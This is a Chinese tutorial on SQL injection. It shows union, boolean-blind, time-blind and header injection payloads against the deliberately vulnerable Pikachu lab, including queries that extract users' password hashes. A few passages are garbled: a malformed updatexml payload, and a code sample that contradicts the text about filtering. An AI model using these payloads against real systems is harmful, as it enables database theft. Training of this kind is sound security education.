目录
SQL注入漏洞概述
SQL:是操作数据库数据的结构化的查询语言,实现对网页应用数据和后台数据库的交互。SQL注入是将表单域或数据包输入的参数,拼接成的SQL语句,传递给Web服务器,进而传给数据库服务器并得到执行,达到获取数据库信息的目的。如果Web应用程序的开发人员对用户输入的数据或Cookie等内容未过滤或者验证就直接传给数据库,就可能导致恶意的SQL语句被执行,进而获取数据库的信息,造成SQL注入攻击。
SQL注入漏洞产生的主要原因:
- 用户可以控制前端传给后端的参数。
- 传入的参数被拼接到SQL语句中,并被执行。
- 用户输入的参数未被验证或者过滤。
SQL注入的常用函数
1.concat函数
concat函数主要功能就是将多个字符拼接成一个字符串
- 语法:concat(str1,str2,......),返回的结果为连接参数生成的新字符串,如果有任何一个参数为NULL,则返回值就为NULL。
将数据表中多列数据排成一列,便于显示结果,concat_ws函数和concat函数类似,区别是concat—ws函数可以指定分隔符,其语法为:concat_ws(separator,str1,str2,...),需要注意的是分隔符不能为NULL,如果为NULL,则返回结果为NULL。group_concat函数也和concat类似,区别是group_concat函数主要用在含有group_by的查询语句中,将同一个分组的值拼接起来。
- 语法:group_concat({distinct}column{separator‘分隔符’})
2.length函数
length函数主要功能就是计算字符串的字符长度。
- 语法:length(str1),返回结果为字符串长度。
在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一本被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。
3.ascii函数
ascii函数主要功能就是计算字符的sacii码值。
- 语法:ascii(char),返回结果为字符对应的ascii码值。
盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。
4.substr函数
substr函数主要功能就是截取字符串
- 语法:substr(string,start,length),其中string为字符串,start为起始位置,length为字符长度,返回结果为字符串。
盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。
5.left、right函数
left函数主要功能也是截取字符串,默认从左截取。right同理
- 语法:left(string,length),其中string为长度,返回结果为子字符长度。
6.if函数
根据条件表达式的结果返回不同的值
- 语法:if(confition,value_if_ture,value_if_false),其中confition为条件表达式,value_if_ture,value_if_false分别是条件为真或假的时候表达的ture或flase作为条件返回的值
在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。
7.updatexml函数
改变文档中符合条件的节点的值
- 语法:updatexml(xml_document,XPath_string,new_value),其中xml_document为XML文档对象,XPath_string是XPath格式的字符串,报错注入时,需要写入错误的格式来显示错误的信息,new_valiue是string格式替换查找到符合条件的的数据,在注入时可以加入任意字符,执行XPath_string中SQL语句,获取相应的信息。
SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。
漏洞分类与利用
SQL注入漏洞种类有很多,按照数据类型分为数字型、字符型和搜索型;按照提交方式可分为GET型、POST型、Cookie型和HTTP请求头注入型;按照执行效果可以分为,报错注入,联合查询注入、联合查询注入、盲注和堆查询注入,其中盲注又可以分为基于布尔和基于时间注入。
1.基于联合查询的SQL注入
联合查询是合并多个相似选择查询的结果集,即将一个表追加到另一个表,从而实现将两个表的杳询结果组合在一起,使用关键词为union或union all。
基于联合查询的SQL注入是SQL注入的一种,既要满足SOL注入漏洞存在的一般条件,还要满足查询的信息在前端有回显。
基于pikachu平台,我演示一个完整的基于联合查询的SOL注入案例。
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
由第24~26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第28~31行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用execute函数执行SQL语句获取数据,从而造成SOL注入漏洞,由第32~34行代码可知,后端将获取到的member数据表的id、emai字段的数据返回给前端。因此,可以利用基于联合査询的SQL注入进行攻击。
1.判断是否存在SQL注入点
输入kobe,查询出kobe的基本信息
输入kobe' and 1=1#,查询,也可以查询出kobe的基本信息
输入kobe' and 1=2#,不能查询出boke基本信息,可以判断出此处存在字符型的SQL漏洞。
2.判断查询数据表中字段的数目。
输入kobe' order by 2#,查询
输入kobe' order by 3#,查询,不能查询出信息,判断出字段数为2
3.判断回显字段
输入kobe' union select 1,2#,查询,两个字段均有回显
4.获取数据库的名称
输入kobe' union select 1,database()#,回显出数据库名为pikachu
5.获取数据表的名称
输入kobe' union select 1, table_name from information_schema.tables where table_schema=database()#
由此可以判断出数据表名:httpinfo,member,message,users,xssblind.
6.获取字段名
kobe' union select 1, column_name from information_schema.columns where table_schema=database() and table_name='users'#
由此可以判断出数据字段名:id,username,password,level
7.获取详细数据
kobe' union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
8.使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型
判断为MAD5
2.盲注
在SQL注入过程中,SQL语句执行后,查询的数据不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。根据表现形式的不同,盲注又分为布尔型盲注和时间型盲注。
基于pikachu平台,我演示一个完整的布尔型盲注的SOL注入案例。
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
由第25行和第26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第27~30行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用mysqli query函数执行SQL语句获取数据,从而造成SQL注入漏洞,与“字符型注入(get)”漏洞模块的核心源代码不同,第29行代码的判断条件为“==1”,无法使用基于联合査询的SOL注入攻击,由第30~36行代码可知,后端向前端只返回两种结果。因此,可以利用布尔盲注进行攻击。
1.判断注入点
盲注和联合查询注入一样,利用kobe' and 1=1#和kobe' and 1=2#回显结果不一样可以判断出存在SQL注入漏洞,但是和联合查询不一样的是,盲注只显示两种结果,需要利用两种不同的查询结果来判断数据库的信息是否正确。
2.判断数据库名长度
kobe' and length(database())>6#
kobe' and length(database())>7#
判断出数据库名长度为7
3.获取数据库名
输入kobe' and ascii(substr(database(),1,1))>112#
kobe' and ascii(substr(database(),1,1))>111#
由此可以判断数据库名称的第一个字母的ascii码为112,即为字母p,用同样的方法判断,数据库名其他字母依次为:i、k、a、c、h、u,因此,数据库名为“pikachu”
4.获取数据表数目
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5#
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>4#
可以判断出数据表数目为5
5.获取第一条数据表的长度
kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>8#
kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>7#
6.获取数据表的名称
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>104#
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>103#
第一个数据表名称的第一个字母的 asci 码值为104,即数据表名称的第一个字母为 h。用同样的方法判断,数据表名称的其他字母依次为:t、t、p、i、n、f、0,因此,第一个数据表名称为“httpinfo”。用同样的方法,得到其余的数据表名称次为:member、message、users、xssblind.
7.获取数据表的列数
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>4#
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>3#
8.获取数据表的列名称的字符数
kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>2#
kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1#
观察两次查询结果不同,可以判断表的第一列名称字符数目为2
9.获取数据表的列名称
kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>104#
kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>105#
观察两次查询结果不同,可以判断表的第一列的第一个字符对应 ascii 码为105,即字符为i,用同样的方法判断表的第一列名称第二个字符为d。因此,表的第一列名称为id。采用同样方法依次得出其余三个字段的名称为:usermame、password、level.
10.获取数据表中数据的数目
kobe' and (select count(id) from users)>2#
kobe' and (select count(id) from users)>3#
观察两次查询结果不同,可以判断数据表中的数据数目为3。
10.获取数据表中具体数据项的字符数目
kobe' and (select length(username) from users limit 0, 1)>4#
kobe' and (select length(username) from users limit 0, 1)>5#
可以判断数据表中具体数据项的字符数目为5
11.获取数据表中数据
kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>96#
kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>97#
可以判断users表的username列的第一行数据的第一字符对应ascii码为97,即字符为a,用同样的方法可以获取其余字符依次为d、m、i、n。因此,users表的username列中的第一行数据为“admin”。采用同样方法可以获取其他字段中的数据,直至获取数据表中的全部数据。
时间盲注适用的场景通常是无法从Web显示页面上获取执行结果,这种场景下,可以在SQL语句中使用Sleep函数,结合判断条件,观察加载网页的时间来判断条件是否成立,从而获取有效信息,达到攻击的目的,一般把这种攻击方法叫作时间盲注攻击。
2.1时间盲注(base on bool)
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{
与“盲注(base on bool)”漏洞模块的核心源代码区别是第34行和第37行代码。由代码可知,后端向前端只返回一种结果,且返回结果中不包含任何数据库中的数据信息,因此,可以采用时间盲注进行攻击。
1.判读注入点
调出浏览器的调试工具,选择“网络”选项卡,在编辑框中输入“kobe'and sleep(5)#”,执行结果由图可知,网络响应时间延迟了5秒,说明存在时间型盲注。
kobe' and if((substr(database(), 0, 1))='p', sleep(5), null)#
由图可知,网络响应时间延迟了接近5秒,说明数据库名称的第一个字符为P,可采用相同的方法,获取数据库中的其他信息。
3.宽字节注入
PHP中的addslashes函数会自动过滤“,”“nul”等敏感字符,将它们转义成“\”“null!”。然而,宽字节字符集比如GBK会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸,构成单引号闭合。
4.inset/update/delete注入
inset/update/delete注入就是指前端输入的信息会被后台构建为inset/update/delete语句,若没有做出相应的处理,就会构成inset/update/delete注入。
$html='';
if(isset($_GET['submit'])){
if($_GET['username']!=null && $_GET['password']!=null){
//转义,防注入
$username=escape($link, $_GET['username']);
$password=escape($link, $_GET['password']);
$query="select * from member where username='$username' and pw=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$_SESSION['sqli']['username']=$username;
$_SESSION['sqli']['password']=sha1(md5($password));
header("location:sqli_mem.php");
}else{
$html.="<p>登录失败,请重新登录</p>";
}
后端将接收到的参数未做任何过滤和处理,直接拼接到SQL 语句中,并使用 execute 函数执行 SQL 语句更新数据,从而造成 SOL 注入漏洞。
5.header注入
1.HTTP头部详解
- User-Agent:客户端基本信息,如操作系统、浏览器版本等。
- Cookie:网站为了辨别用户身份、存储在用户本地终端上的数据。
- X-Forwarded-For:简称XFF头,它代表客户端,也就是 HTTP 的请求端真实的 。
- Rerferer:记录访问到资源的原始URI。
- Host:客户端指定访问的WEB服务器的IP 地址和端口号。
2.漏洞利用
由代码可知,后端将接收到的客户端参数未做任何过滤和处理,直接拼接到SQL语句中,并使用 execute 函数执行 SQL 语句,插入数据,从而造成 SQL 注入漏洞。
1.输入账号密码进行登录打开pikachu平台“header注入”漏洞模块,输入账号和密码,单击“登录”按钮,并使用Burp Suite拦截数据包.
2.将数据包发送到“Repeater”模块,并将User-Agent修改为Mozilla'or updatexml(1concat(0x7e,database()),0)or'
3.发送数据包到服务器,从服务器返回的数据包,获取数据库名为“pikachu”获取到数据库名pikachu
4.也可以利用Cookie头注入获取数据库信息。在Cookie的admin后,分号前添加gmdupdatexml(1,concat(0x7e,database0),0)#